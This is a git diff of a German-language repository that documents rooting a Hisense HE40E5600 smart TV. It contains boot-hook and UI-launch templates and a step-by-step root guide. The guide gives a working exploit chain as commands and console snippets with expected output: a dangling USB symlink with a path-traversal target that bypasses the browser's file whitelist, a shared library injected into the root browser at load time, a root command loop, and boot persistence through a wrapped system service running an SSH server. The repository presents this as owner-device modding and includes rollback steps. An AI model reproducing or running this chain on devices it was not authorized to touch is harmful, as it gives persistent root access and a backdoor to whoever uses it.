+
ready.
+
+ Custom-UI-Template. API-Namen/Signaturen sind UNVERIFIED — im UI-DevTools (9223) + bzw. im Web-Browser (9224) prüfen. Kein Shell-Zugriff aus JS; dafür Root-Loop/SSH. +
+
+ + + diff --git a/modding/templates/developer.sh b/modding/templates/developer.sh new file mode 100644 index 0000000..36ab4a8 --- /dev/null +++ b/modding/templates/developer.sh @@ -0,0 +1,63 @@ +#!/bin/sh +# /3rd_rw/developer.sh +# +# EARLY root boot hook. Called by /basic/autorun.sh at line ~90, i.e. BEFORE: +# ms_service (162) -> hisenseUI (168) -> app_man (177) -> delayrun (190) +# +# Use it for: +# - bind-mounting modified /basic/am_start.ini, am_config, delayrun.sh +# - stubbing unwanted services (ms_service, start-UI.sh, ...) +# - starting your own root service +# - starting root_loop/sshd earlier than the late HamService wrapper +# +# Keep it idempotent and log everything. If it breaks the UI/AM, remove it via +# SSH/root_loop and reboot. +PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin +export PATH + +# Everything to a log (comment out for serial/debug) +exec >>/3rd_rw/developer.log 2>&1 +echo "=== developer.sh $(date) boot=$(cat /proc/sys/kernel/random/boot_id 2>/dev/null) ===" +# set -x + +# --------------------------------------------------------------------------- +# 1) Your own root service +# --------------------------------------------------------------------------- +# mkdir -p /3rd_rw/bin +# /3rd_rw/bin/mydaemon & +# echo "mydaemon started: $!" + +# --------------------------------------------------------------------------- +# 2) Replace a ro config BEFORE app_man reads it (am_start/am_config) +# Put modified copies under /3rd_rw/etc/. +# --------------------------------------------------------------------------- +# mount --bind /3rd_rw/etc/am_start.ini /basic/am_start.ini +# mount --bind /3rd_rw/etc/am_config /basic/am_config +# echo "am configs bound" + +# --------------------------------------------------------------------------- +# 3) Replace a ro service script/binary BEFORE autorun runs it. +# Example: stub ms_service (autorun line 162) +# --------------------------------------------------------------------------- +# mkdir -p /3rd_rw/stubs +# printf '#!/bin/sh\nexit 0\n' > /3rd_rw/stubs/true +# chmod 755 /3rd_rw/stubs/true +# mount --bind /3rd_rw/stubs/true /3rd/ms-screen/ms_service +# echo "ms_service stubbed" + +# Example: custom UI start script (autorun line 168) +# mount --bind /3rd_rw/patch/start-UI-custom.sh /3rd/opera4x/hisenseUI/start-UI.sh +# echo "custom start-UI bound" + +# Example: modified delayrun (autorun line 190) +# mount --bind /3rd_rw/etc/delayrun.sh /basic/delayrun.sh +# echo "delayrun bound" + +# --------------------------------------------------------------------------- +# 4) Start root loop / SSH earlier (optional; the HamService wrapper also does) +# --------------------------------------------------------------------------- +# /bin/sh /3rd_rw/appdata/root_loop.sh & +# [ -x /3rd_rw/sshd/start_sshd.sh ] && /bin/sh /3rd_rw/sshd/start_sshd.sh & + +echo "=== developer.sh done ===" +exit 0 diff --git a/modding/templates/hide-preset.json b/modding/templates/hide-preset.json new file mode 100644 index 0000000..8b5af19 --- /dev/null +++ b/modding/templates/hide-preset.json @@ -0,0 +1,27 @@ +[ + "netflix", + "amazon", + "youtube", + "browser", + "vidaa-plus", + "accuweather", + "https://cd-dmgz.bamgrid.com/bbd/hisense_tv/index.html", + "http://8577004de253-ott-tv.maxdome.de", + "https://prod-hisense-ui40-app.rakuten.tv/", + "https://tvapp.rlaxxtv.com/r/no-animations/720/?customer=Hisense", + "https://hisense.chili.com", + "https://smarttv.uefa.tv", + "https://app.hisense.rtl-smart.tv/", + "https://ctv-vewd.kidoodle.tv", + "http://www.yupptv.com/hisense/index.html", + "http://plex.tv/web/tv/hisense?mixedContent=1", + "https://smarttv3.videociety.de", + "http://apps.tvgam.es/tv_games/hisense_portal/production/portal/index.html", + "http://2897431816.fxm3751860294.com/?category=apps", + "http://2897431816.fxm3751860294.com/?category=movies", + "http://2897431816.fxm3751860294.com/?category=catchup", + "http://2897431816.fxm3751860294.com/?category=news", + "http://2897431816.fxm3751860294.com/?category=music", + "http://2897431816.fxm3751860294.com/?category=sport", + "http://2897431816.fxm3751860294.com/?category=search" +] diff --git a/modding/templates/start-UI-custom.sh b/modding/templates/start-UI-custom.sh new file mode 100644 index 0000000..c3b1e4c --- /dev/null +++ b/modding/templates/start-UI-custom.sh @@ -0,0 +1,42 @@ +#!/bin/sh +# custom start-UI: same runtime as the stock start-UI.sh, but loads +# /3rd_rw/UI/custom.html instead of /3rd_rw/UI/index.html. +# +# Install (safe, file-level bind mount) via /3rd_rw/developer.sh: +# mkdir -p /3rd_rw/patch +# cp this file /3rd_rw/patch/start-UI-custom.sh +# chmod 755 /3rd_rw/patch/start-UI-custom.sh +# mount --bind /3rd_rw/patch/start-UI-custom.sh /3rd/opera4x/hisenseUI/start-UI.sh +# +# Or use the vendor full overlay /3rd_rw/patch/opera4x (see 04-modding.md, E.2). +set -e +cd /3rd/opera4x/hisenseUI +. ./opera_env.sh + +export MEMORY_LIMIT=$(( 500*1024*1024 )) +STARTPAGE="file:///3rd_rw/UI/custom.html" + +if [ -x /etc/scripts/ins_arm_mali_mod.sh ]; then + /etc/scripts/ins_arm_mali_mod.sh +fi + +export LD_PRELOAD="/3rd/opera4x/lib/libcurl.so.4.4.0" + +cmd="./bin/hisenseUI" +cmd+=" --hw-gles" +cmd+=" --js-flags=\"--expose-gc\"" +cmd+=" --jsplugins-dir=/3rd/UI_jsplugins" +cmd+=" --enable-gpu-rasterization" +cmd+=" --force-gpu-rasterization" +cmd+=" --force-gpu-mem-available-mb=512" +cmd+=" --disable-software-rasterizer" +cmd+=" --disable-web-security" +cmd+=" --http-cache-size=30" +cmd+=" -u ${STARTPAGE}" + +if [ -e /3rd_rw/appdata/enable_developer_tools ]; then + cmd+=" --remote-debugging-port=9223" +fi + +cmd+=" $@" +exec $cmd diff --git a/root/README.md b/root/README.md new file mode 100644 index 0000000..574af1b --- /dev/null +++ b/root/README.md @@ -0,0 +1,61 @@ +# root/ — finale Root-Abteilung + +**Vollständiger Weg:** [`ROOT-GUIDE.md`](ROOT-GUIDE.md) +**Kurz:** `tools/pub/` = ausgelieferte Dateien; `scripts/host/` = Host-Helfer; `scripts/tv/` = TV-Skripte; `artifacts/` = Original-Lib, Keys, Fingerprint. + +## Die Schritte + +```bash +# Host +sudo root/scripts/host/prepare_usb.sh /dev/sdX # ext4/MBR + tvi-Symlink +root/scripts/host/start_http.sh # :9000 +# TV: http://:9000/recon.html +# TV-Konsole: root/scripts/host/plant_payload.js # USB-Dev anpassen +# reboot +# TV-Konsole nach Boot: root/scripts/host/upload_to_appdata.js +# TV-Konsole: root/scripts/host/run_root_cmd.js # deploy_sshd.sh +ssh root@192.168.188.94 + +# optional: SFTP (key-only, nach dem SSH-Setup) +root/scripts/host/install_sftp.sh +sftp root@192.168.188.94 +``` + +## Dateien + +| Pfad | Zweck | +|---|---| +| `tools/pub/libtvsysinfo.so` | finaler Payload (33.500 B, SHA `37b13f…`) | +| `tools/pub/dropbear`, `dropbearkey` | statischer ARM-Dropbear 2022.83, key-only | +| `tools/pub/dropbear-sftp` | Dropbear mit `SFTPSERVER_PATH=/3rd_rw/sshd/sftp-server` | +| `tools/pub/sftp-server` | statischer OpenSSH-9.9p1-sftp-server (ARM) | +| `tools/pub/authorized_keys` | dein Public Key | +| `tools/pub/start_sshd.sh` | Dropbear + passwd-/PTY-Bindmounts | +| `tools/pub/root_loop.sh` | Root-Kommandokanal | +| `tools/pub/hamservice-wrapper.sh` | Boot-Hook (HamService) | +| `tools/pub/deploy_sshd.sh` | Installiert SSH/Persistenz (als root) | +| `tools/pub/verify.sh` | Health-Check | +| `tools/pub/rollback.sh` | Rückbau | +| `scripts/host/prepare_usb.sh` | USB ext4/MBR + Symlinks | +| `scripts/host/start_http.sh` | Server/Recon | +| `scripts/host/plant_payload.js` | Payload durch `tvi` schreiben | +| `scripts/host/upload_to_appdata.js` | Dropbear/Deploy-Dateien hochladen | +| `scripts/host/run_root_cmd.js` | `root_cmd.sh` schreiben / `root_out` lesen | +| `scripts/host/build_payload.sh` | Payload reproduzieren | +| `scripts/host/build_dropbear.sh` | Dropbear aus `sources/` bauen | +| `scripts/host/build_sftp_server.sh` | statischen `sftp-server` bauen | +| `scripts/host/patch_dropbear_sftp.py` | `dropbear-sftp` erzeugen | +| `scripts/host/install_sftp.sh` | SFTP installieren/testen/auf 22 tauschen | +| `scripts/tv/install_sftp_stage.sh` | SFTP-Binaries + Test-Dropbear auf 2222 | +| `scripts/tv/enable_sftp.sh` | Tausch auf 22 planen | +| `scripts/tv/swap_sftp.sh` | Tausch detached ausführen | +| `artifacts/tvi_original.so` | Original-Lib (33.220 B) | +| `artifacts/keys/authorized_keys` | Public Key | +| `artifacts/keys/host-key-fingerprint.txt` | `SHA256:7tFL…` | + +**Keine Secrets:** kein Root-Hash, kein privater SSH-Key. + +**Status:** Root + SSH + PTY live bestätigt; Boot-Persistenz installiert +(Reboot-Test offen). SFTP optional: statischer OpenSSH-sftp-server + gepatchter +Dropbear; Installer testet Port 2222, dann 22. Details/Verifikation im +`ROOT-GUIDE.md`, Modding in `../modding/`. diff --git a/root/ROOT-GUIDE.md b/root/ROOT-GUIDE.md new file mode 100644 index 0000000..498eaf1 --- /dev/null +++ b/root/ROOT-GUIDE.md @@ -0,0 +1,540 @@ +# ROOT-GUIDE — Hisense HE40E5600FFWTS (V0100.01.00A.N0410) + +**Finaler, replizierbarer Root-Weg.** Kein Flash, kein `.pkg`, kein UART, kein Öffnen des TVs. +**Ziel-TV:** Hisense HE40E5600FFWTS, FW `V0100.01.00A.N0410`, LAN `192.168.188.94` +**Host:** Linux mit Python 3, `arm-linux-gnueabihf-*`, optional `qemu-arm`; Host-IP im Beispiel `192.168.188.150` +**Stand:** 2026-10-26 — Root + Dropbear-SSH (key-only) + PTY live bestätigt; Boot-Persistenz installiert (Reboot-Test offen). + +Dieser Ordner ist **self-contained**: Payload, Original-Lib, Dropbear-Binaries, Host-/TV-Skripte, Public Key, Host-Key-Fingerprint, Build-Skripte und die Doku liegen hier. Du musst nicht durch den alten Run-Ordner suchen. Die alte `docs/re/...`-Ablage ist nur noch Evidence/Provenienz. + +--- + +## 0. Ergebnis + +Beim Boot lädt `hisense_browser` (UID 0, Single-Process, `CapEff=0000003fffffffff`) eine präparierte **`libtvsysinfo.so`** aus `/3rd_rw/loglevel/lib`. Der angehängte `DT_INIT` läuft als root, schreibt den Proof, startet die Root-Loop und ruft danach den Original-Init auf. Über den `HamService`-Wrapper starten Root-Loop und Dropbear bei jedem Boot. SSH ist **key-only**; Login als `root` gibt eine echte Root-Shell mit PTY. + +Beweis (live): + +``` +/3rd_rw/root_proof.txt = ROOT_EXEC_TVI +uid=0(root) gid=0(root) +Uid: 0 0 0 0 Gid: 0 0 0 0 CapEff: 0000003fffffffff +``` + +**Optional SFTP:** Dropbear bringt keinen eigenen `sftp-server` mit. Im Ordner +liegen ein **statischer OpenSSH-9.9p1-sftp-server** und ein Dropbear mit +`SFTPSERVER_PATH=/3rd_rw/sshd/sftp-server`; `root/scripts/host/install_sftp.sh` +installiert beides (Test auf 2222, dann Tausch auf 22). Danach: +`sftp root@192.168.188.94`. Siehe 9.4. + +--- + +## 1. Die Kette (warum das geht) + +1. **Browser ist root.** `hisense_browser` läuft als UID/GID 0, `CapEff` voll, Single-Process, kein Seccomp/NoNewPrivs. JS im Browser ist root-equivalent. +2. **USB-Schreibprimitive.** `HSJSX_File::IsSubDentry` prüft `realpath` + Präfix gegen `/3rd_rw/appdata`, `/dev/shm/shm_tmp`, `/3rd/launcher/data`. Ein **dangling Symlink** auf einem ext4-USB lässt `realpath` am fehlenden Ziel scheitern; der Elternpfad `/dev/shm/shm_tmp/mnt/usb/` ist erlaubt. `fopen` folgt dem Symlink und legt die Zieldatei als root an. Damit sind **neue Root-Dateien** überall anlegbar. +3. **Loader-Shadow.** `hisense_browser` hat `libtvsysinfo.so` als direktes `NEEDED`; `DT_RPATH=/lib/`, dort liegt sie nicht. `LD_LIBRARY_PATH`-Index 17 ist `/3rd_rw/loglevel/lib` — das erste Verzeichnis, das die Lib liefern kann. Die dort per Symlink-Bypass abgelegte `libtvsysinfo.so` wird beim nächsten Browser-Start geladen. +4. **DT_INIT-Payload.** Die echte `libtvsysinfo.so` wird um Code am Dateiende erweitert (RX-LOAD `p_filesz/memsz` mit erweitert); `DT_INIT` zeigt auf den neuen Code. Der Code: + - `unlink` der eigenen Datei (Selbstschutz), + - schreibt `/3rd_rw/root_proof.txt`, + - `fork` + `execve("/bin/sh", ["/bin/sh", "/3rd_rw/appdata/root_loop.sh"], NULL)`, + - ruft den Original-`DT_INIT` per PC-relativem `bl` auf, + - kehrt zum Loader zurück. +5. **Root-Loop.** `/3rd_rw/appdata/root_loop.sh` läuft als root, liest `root_cmd.sh`, führt sie aus und schreibt `root_out.txt`. +6. **SSH-Persistenz.** `/3rd_rw/hamservice/HamService` ist ein Wrapper: startet Root-Loop + Dropbear, führt danach das echte `/3rd/hamservice/HamService` aus. `startHam.sh` ruft ihn beim Boot als root auf. Dropbear nutzt ein bind-gemountetes `/etc/passwd` (Root-Home `/3rd_rw/sshd/home`) und `~/.ssh/authorized_keys`. PTYs kommen aus einem devpts-Mount auf `/dev/shm/pts`, der auf `/dev/pts` gebindet wird. + +--- + +## 2. Ordner / Artefakte + +``` +root/ + ROOT-GUIDE.md # diese Datei + README.md # kurzer Index + tools/ + server.py # Host: recon.html + /pub + /cmd + /recon + /dump + recon.html # Host: TV-Seite mit fileXHR/listDir/HiBrowser-Hook + live_cmd.txt # optionaler Live-Command-Kanal (leer = nichts) + pub/ + libtvsysinfo.so # finaler Payload (33500 B) + dropbear # statischer ARM-Dropbear 2022.83 (key-only) + dropbear-sftp # Dropbear mit SFTPSERVER_PATH=/3rd_rw/sshd/sftp-server + dropbearkey + sftp-server # statischer OpenSSH 9.9p1 sftp-server + authorized_keys # dein Public Key + start_sshd.sh # TV: Dropbear + passwd/PTY-Bindmounts + root_loop.sh # TV: Root-Kommandokanal + hamservice-wrapper.sh # TV: Boot-Hook, ersetzt /3rd_rw/hamservice/HamService + deploy_sshd.sh # TV: installiert alles (als root ausführen) + verify.sh # TV: Health-Check + rollback.sh # TV: alles zurückbauen + scripts/ + host/ + prepare_usb.sh # Host: ext4/MBR-Stick + Symlinks + start_http.sh # Host: Server auf :9000 + plant_payload.js # TV-Konsole: Payload durch tvi schreiben + upload_to_appdata.js # TV-Konsole: Dropbear/Deploy-Dateien nach appdata + run_root_cmd.js # TV-Konsole: root_cmd.sh schreiben/root_out lesen + build_payload.sh # Host: Payload aus tvi_original.so bauen + build_tvi_payload.py # Host: Builder (deterministisch) + build_dropbear.sh # Host: Dropbear aus sources/ bauen + build_sftp_server.sh # Host: statischen sftp-server bauen + patch_dropbear_sftp.py # Host: Dropbear-SFTP-Pfad patchen + install_sftp.sh # Host: SFTP installieren/testen/auf 22 tauschen + tv/ + start_sshd.sh + root_loop.sh + hamservice-wrapper.sh + deploy_sshd.sh + verify.sh + rollback.sh + install_sftp_stage.sh # TV: sftp-server + Test-Dropbear auf 2222 + enable_sftp.sh # TV: Tausch auf 22 planen + swap_sftp.sh # TV: Tausch ausführen (detached) + artifacts/ + tvi_original.so # Original /3rd_rw/tvsysinfo/lib/libtvsysinfo.so (33220 B) + keys/authorized_keys # dein Public Key + keys/host-key-fingerprint.txt +sources/ + dropbear-2022.83.tar.bz2 # Offline-Buildquelle (SHA unten) + openssh-9.9p1.tar.gz # Offline-Buildquelle für sftp-server +modding/ # die Modding-Doku (eigene Abteilung) +dead-ends.md # kurze Liste der Sackgassen +SHA256SUMS +``` + +**Wichtig:** `root/tools/pub/authorized_keys` enthält **nur** deinen Public Key. Der private Key bleibt auf deinem Rechner und ist nirgends in diesem Ordner. + +--- + +## 3. Voraussetzungen + +- TV im LAN, erreichbar als `192.168.188.94` (IP ggf. anpassen). +- Host im selben LAN; Python 3; für den Rebuild: `gcc-arm-linux-gnueabihf`, `binutils-arm-linux-gnueabihf`, `make`, `bzip2`. +- Optional SFTP: OpenSSH-Client (`sftp`) auf dem Host; der TV braucht keinen Client. +- USB-Stick, **ext4 mit MBR-Partitionstabelle** (kein Superfloppy). Der TV mountet Partitionen. +- Der Public Key in `root/tools/pub/authorized_keys` muss zu deinem privaten Key passen. Aktuell: + ``` + ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKLzgdRrwTGWMSHIurddPrQBY/2zOk+BlsU4jJWtPh/B vidaa-root + ``` +- Host-Key des TV-SSHD (Ed25519): + ``` + SHA256:7tFL8xcKAh7+wC/3T5QiutxYMqcBTM7p+P4uEMAOwts + ``` + +--- + +## 4. Der Weg in Kürze + +``` +1. USB-Stick: sudo root/scripts/host/prepare_usb.sh /dev/sdX +2. Server: root/scripts/host/start_http.sh +3. TV-Seite: http://:9000/recon.html +4. Payload: root/scripts/host/plant_payload.js (USB-Dev anpassen) → Reboot +5. Root prüfen: /3rd_rw/root_proof.txt = ROOT_EXEC_TVI +6. SSH-Dateien: root/scripts/host/upload_to_appdata.js +7. Deploy: root/scripts/host/run_root_cmd.js → deploy_sshd.sh +8. Verbinden: ssh root@192.168.188.94 +9. Persistenz: HamService-Wrapper ist installiert; Reboot-Test +10. Rollback: root/scripts/tv/rollback.sh (auf dem TV, als root) +11. SFTP opt.: root/scripts/host/install_sftp.sh +``` + +Die Schritte im Detail: + +--- + +## 5. Schritt 1 — USB-Stick (ext4 + MBR + `tvi`-Symlink) + +### 5.1 Skript + +```bash +cd /workspace/hisense-he40e5600-root-modding +sudo root/scripts/host/prepare_usb.sh /dev/sdX +``` + +Das Skript ist **destruktiv**: `wipefs`, MBR, `mkfs.ext4 -O ^64bit,^metadata_csum -L TVSYM`, dann: + +``` +tvi -> /3rd_rw/loglevel/lib/libtvsysinfo.so (Pflicht, muss dangling bleiben) +pwn -> /3rd_rw/root_proof.txt (optional, Proof-Target) +``` + +### 5.2 Manuell (falls du es selbst machen willst) + +```bash +lsblk -f +sudo wipefs -a /dev/sdX +sudo parted -s /dev/sdX mklabel msdos mkpart primary ext4 1MiB 100% +sudo mkfs.ext4 -O ^64bit,^metadata_csum -L TVSYM /dev/sdX1 +sudo mkdir -p /mnt/data +sudo mount /dev/sdX1 /mnt/data +sudo ln -sfn /3rd_rw/loglevel/lib/libtvsysinfo.so /mnt/data/tvi +sudo ln -sfn /3rd_rw/root_proof.txt /mnt/data/pwn +sync +sudo umount /mnt/data +``` + +- **`tvi` muss dangling sein** (Ziel existiert noch nicht). Genau das ist der Whitelist-Bypass. +- FAT32 kann keine Symlinks; ext4 mit alter Feature-Menge (`^64bit,^metadata_csum`) wird vom 3.18-Kernel gemountet. +- Ein Whole-Disk-ext4 (Superfloppy, kein `sdX1`) wird **nicht** gemountet. + +Dann Stick in den TV. Der TV mountet ihn als `/dev/shm/shm_tmp/mnt/usb/` (für JS sichtbar als `/mnt/usb/`, z. B. `sda1`/`sdb1`/`sdc1`). + +--- + +## 6. Schritt 2 — Host-Server + Recon-Seite + +```bash +cd /workspace/hisense-he40e5600-root-modding +root/scripts/host/start_http.sh +# TV URL: http://:9000/recon.html +``` + +Der Server liefert `recon.html`, `/cmd`, `/recon`, `/dump` und `/pub/*`. Die TV-Seite pollt `/cmd` und führt JS im **root-Browser** aus. + +Auf dem TV im Browser öffnen: + +``` +http://:9000/recon.html +``` + +USB-Dev ermitteln (Konsole/Hook): + +```js +listDir("/mnt/usb") // z. B. "[D] sda1" +listDir("/mnt/usb/sda1") // muss "tvi" zeigen +``` + +--- + +## 7. Schritt 3 — Payload schreiben + +### 7.1 Skript (TV-Konsole) + +`root/scripts/host/plant_payload.js` in die Konsole pasten; **`usb` anpassen**: + +```js +var usb = "/mnt/usb/sda1"; // <-- aus listDir("/mnt/usb") +var target = "so/../../../../dev/shm/shm_tmp" + usb + "/tvi"; +var url = location.origin + "/pub/libtvsysinfo.so"; +var o = {}; +o.download = HiBrowser.File.download(url, target, 1); +o.back = HiBrowser.File.download("file:///3rd_rw/loglevel/lib/libtvsysinfo.so", + "tvi_check_plant.so", 1); +o +``` + +Erwartung: `download=0`, `back=0`; danach existiert + +``` +/3rd_rw/loglevel/lib/libtvsysinfo.so 33500 B +SHA-256 37b13f91959acea9b3c3fd4d0e62bb2d4cb41f773add060bef68ac67657f5b0a +``` + +### 7.2 Manuell (ohne JS-Datei) + +```js +HiBrowser.File.download( + "http://:9000/pub/libtvsysinfo.so", + "so/../../../../dev/shm/shm_tmp/mnt/usb/sda1/tvi", + 1 +); +``` + +### 7.3 Verifizieren + +- `back=0` und die 33.500 B / SHA oben. +- Optional die zurückgelesene Datei `tvi_check_plant.so` mit `pub/libtvsysinfo.so` vergleichen. +- **Nicht rebooten**, bevor die Bytes stimmen. + +### 7.4 Reboot + +TV komplett aus- und wieder einschalten. Beim Boot lädt `hisense_browser` die Shadow-Lib aus Index 17; der `DT_INIT` läuft als root. + +--- + +## 8. Schritt 4 — Root prüfen / Kommandokanal + +Nach dem Boot Recon-Seite erneut öffnen. + +```js +fileXHR("file:///3rd_rw/root_proof.txt") // ROOT_EXEC_TVI +fileXHR("file:///3rd_rw/appdata/root_loop.pid") // z. B. 1425 +listDir("/3rd_rw/loglevel/lib") // nur liblogLevel.so => Self-Unlink ok +``` + +Root-Befehl über den Loop: + +```js +HiBrowser.File.write("root_cmd.sh", + "id\n" + + "cat /proc/self/status | grep -E '^(Uid|Gid|CapEff):'\n", 1); + +// nach ca. 2 s: +fileXHR("file:///3rd_rw/appdata/root_out.txt") +``` + +Erwartung: + +``` +uid=0(root) gid=0(root) +Uid: 0 0 0 0 +Gid: 0 0 0 0 +CapEff: 0000003fffffffff +``` + +Fertiges Snippet: `root/scripts/host/run_root_cmd.js` (CMD anpassen). + +--- + +## 9. Schritt 5 — Dropbear/SSH installieren + +### 9.1 Dateien nach `/3rd_rw/appdata` laden + +`root/scripts/host/upload_to_appdata.js` in die TV-Konsole pasten. Es lädt aus `root/tools/pub/`: + +``` +dropbear dropbearkey authorized_keys start_sshd.sh root_loop.sh +hamservice-wrapper.sh deploy_sshd.sh verify.sh rollback.sh +``` + +nach `/3rd_rw/appdata`. Erwartung: alle Werte `0`. + +### 9.2 Deploy als root (über die Root-Loop) + +`root/scripts/host/run_root_cmd.js` mit + +``` +/bin/sh /3rd_rw/appdata/deploy_sshd.sh +``` + +ausführen (oder in der Konsole): + +```js +HiBrowser.File.write("root_cmd.sh", "/bin/sh /3rd_rw/appdata/deploy_sshd.sh\n", 1); +// nach ca. 5 s: +fileXHR("file:///3rd_rw/appdata/root_out.txt") +``` + +`deploy_sshd.sh` macht: + +- `dropbear`/`dropbearkey` → `/3rd_rw/sshd/` +- Host-Key (`dropbearkey -t ed25519 -f /3rd_rw/sshd/host_key`) +- `/etc/passwd`-Kopie mit `root:/3rd_rw/sshd/home:/bin/sh`, **bind mount** über `/etc/passwd` +- devpts auf `/dev/shm/pts`, **bind mount** über `/dev/pts` (PTY; `/dev` ist statisch ro) +- `authorized_keys` aus dem Public Key +- `start_sshd.sh` + `root_loop.sh` + `hamservice-wrapper.sh` +- Start von Dropbear auf `0.0.0.0:22`, key-only +- Health-Ausgabe (Prozesse, Port, Log, Host-Key, Mounts) + +### 9.3 Verbinden + +```bash +ssh root@192.168.188.94 +# oder, wenn dein Key nicht der Default ist: +ssh -i ~/.ssh/ root@192.168.188.94 +``` + +Beim ersten Verbinden Host-Key bestätigen: + +``` +ED25519 key fingerprint is SHA256:7tFL8xcKAh7+wC/3T5QiutxYMqcBTM7p+P4uEMAOwts +``` + +Erwartung: `root@...:~#`, `id` → `uid=0(root)`. + +**Key-only:** `DROPBEAR_SVR_PASSWORD_AUTH=0` beim Build; es gibt keinen Passwort-Login. Dein Public Key ist der einzige Zugang. + +**PTY:** devpts-Workaround ist im `start_sshd.sh`/`deploy_sshd.sh`. Falls doch `PTY allocation failed`: + +```sh +mkdir -p /dev/shm/pts +mount -t devpts -o mode=620,ptmxmode=666,gid=5 devpts /dev/shm/pts +mount --bind /dev/shm/pts /dev/pts +``` + +Danach erneut verbinden; Dropbear muss nicht neu starten. Fallback ohne PTY: + +```bash +ssh -T root@192.168.188.94 'id; uname -a' +``` + +### 9.4 SFTP (optional, key-only) + +Dropbear hat **keinen eigenen sftp-server**; der Server exec't den +compile-time `SFTPSERVER_PATH` (Default `/usr/libexec/sftp-server`). Der ro +Rootfs erlaubt dort keine Datei. Deshalb liegen im Ordner: + +- `tools/pub/sftp-server` — statischer OpenSSH-9.9p1-sftp-server (ARM) +- `tools/pub/dropbear-sftp` — Dropbear mit + `SFTPSERVER_PATH=/3rd_rw/sshd/sftp-server` + +Installation vom Host (nutzt deinen SSH-Key; ein `sftp`-Client wird nur für den Test benötigt): + +```bash +cd /workspace/hisense-he40e5600-root-modding +root/scripts/host/install_sftp.sh +# optional: TV=root@192.168.188.94 SSH_KEY=~/.ssh/id_ed25519 ... +``` + +Ablauf: lädt beide Binaries nach `/3rd_rw/appdata`; startet einen +**Test-Dropbear auf Port 2222** (Port 22 bleibt unangetastet); testet +`sftp -P 2222`; nur bei Erfolg wird der Binary auf 22 getauscht +(Backup: `/3rd_rw/sshd/dropbear.nosftp`). Danach: + +```bash +sftp root@192.168.188.94 +# pwd, ls, put, get ... +``` + +**Rollback:** + +```bash +ssh root@192.168.188.94 \ + 'cp -f /3rd_rw/sshd/dropbear.nosftp /3rd_rw/sshd/dropbear; \ + kill $(cat /3rd_rw/sshd/dropbear.pid) 2>/dev/null; \ + /bin/sh /3rd_rw/sshd/start_sshd.sh' +``` + +**SFTP ist root-equivalent** (Login als root), key-only, nur LAN. Es ist +derselbe Zugang wie SSH; keine zusätzlichen Credentials. + +--- + +## 10. Schritt 6 — Persistenz (Boot) + +`deploy_sshd.sh` installiert bereits `/3rd_rw/hamservice/HamService`: + +```sh +#!/bin/sh +PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin +export PATH +/bin/sh /3rd_rw/appdata/root_loop.sh >/dev/null 2>&1 & +[ -x /3rd_rw/sshd/start_sshd.sh ] && /bin/sh /3rd_rw/sshd/start_sshd.sh >/dev/null 2>&1 & +exec /3rd/hamservice/HamService "$@" +``` + +Boot-Ablauf: + +1. `startHam.sh` wechselt nach `/3rd_rw/hamservice`. +2. `[ -e HamService ] && [ -x HamService ]` → `./HamService &`. +3. Wrapper startet Root-Loop + Dropbear (Bind-Mounts/PTY), `exec`t dann das echte `/3rd/hamservice/HamService`. +4. Root-Loop und Dropbear laufen als root weiter. + +**Reboot-Test:** TV neu starten; danach: + +```bash +ssh root@192.168.188.94 'id; ps | grep -E "dropbear|root_loop"' +``` + +Oder auf dem TV: `/bin/sh /3rd_rw/appdata/verify.sh`. + +**Alternative für frühe Mods:** `/3rd_rw/developer.sh` (wird von `/basic/autorun.sh` Zeile 90 als root ausgeführt, **vor** `ms_service`/`hisenseUI`/`app_man`/`delayrun`). Siehe `modding/02-boot.md` und `modding/04-modding.md`. + +--- + +## 11. Schritt 7 — Rollback + +### 11.1 Skript (TV, als root) + +```sh +/bin/sh /3rd_rw/appdata/rollback.sh +# oder aus diesem Ordner hochladen und ausführen +``` + +Es stoppt Loop/Dropbear, stellt den HamService-Symlink wieder her, unmountet `/etc/passwd`/`/dev/pts`/`/dev/shm/pts`, entfernt `/3rd_rw/sshd`, die Shadow-Lib und die alten ms-/appdata-Payloads. Danach Reboot. + +### 11.2 Manuell + +```sh +kill "$(cat /3rd_rw/appdata/root_loop.pid)" 2>/dev/null +kill "$(cat /3rd_rw/sshd/dropbear.pid)" 2>/dev/null +rm -f /3rd_rw/hamservice/HamService +ln -s /3rd/hamservice/HamService /3rd_rw/hamservice/HamService +umount /etc/passwd 2>/dev/null +umount /dev/pts 2>/dev/null +umount /dev/shm/pts 2>/dev/null +rm -rf /3rd_rw/sshd +rm -f /3rd_rw/loglevel/lib/libtvsysinfo.so +sync +reboot +``` + +Der ro Rootfs ist unverändert; die Original-`libtvsysinfo.so` bleibt unter `/3rd_rw/tvsysinfo/lib`. Kein Flash, kein `.pkg`. + +--- + +## 12. Troubleshooting + +| Problem | Ursache / Lösung | +|---|---| +| `PTY allocation request failed` / `openpty: No space left on device` | `/dev/pts` ist nicht devpts. `mkdir -p /dev/shm/pts; mount -t devpts -o mode=620,ptmxmode=666,gid=5 devpts /dev/shm/pts; mount --bind /dev/shm/pts /dev/pts`. Erneut verbinden. | +| `Permission denied (publickey)` | `grep '^root:' /etc/passwd` muss `/3rd_rw/sshd/home:/bin/sh` zeigen (Bind-Mount). `authorized_keys` 600, `.ssh` 700, Home 700. `cat /3rd_rw/sshd/dropbear.log`. | +| `Connection refused` | Dropbear läuft nicht: `ps | grep dropbear`, `cat /3rd_rw/sshd/dropbear.log`, `/bin/sh /3rd_rw/sshd/start_sshd.sh`. Port 22: `/proc/net/tcp` (`:0016`). | +| Host-Key-Warnung | `ssh-keygen -R 192.168.188.94`; Fingerprint `SHA256:7tFL…` bestätigen. | +| Recon-Seite weg | TV-Browser neu öffnen: `http://:9000/recon.html`. SSH/Root-Loop laufen unabhängig. | +| Nach Reboot kein SSH | `/3rd_rw/hamservice/HamService` (Wrapper, 755), `/3rd_rw/sshd/start_sshd.sh`, `dropbear.log`, `mount.log` prüfen. `startHam.sh` startet den Wrapper. | +| Root-User nicht gefunden | `/etc/passwd`-Bind fehlt: `mount --bind /3rd_rw/sshd/etc_passwd /etc/passwd`; `grep '^root:' /etc/passwd`. | +| Kein Root nach Payload | Datei 33.500 B/SHA prüfen; `/3rd_rw/loglevel/lib/libtvsysinfo.so` vorhanden; Browser neu starten; Index 17. | +| `dropbear: Invalid option -s` | Dieser Build hat kein `-s`; Passwort-Auth ist **compile-time** aus. `-s` aus dem Startskript entfernen (hier bereits nicht enthalten). | +| `sh: /usr/libexec/sftp-server: No such file` | Der Dropbear ist noch der ungepatchte. 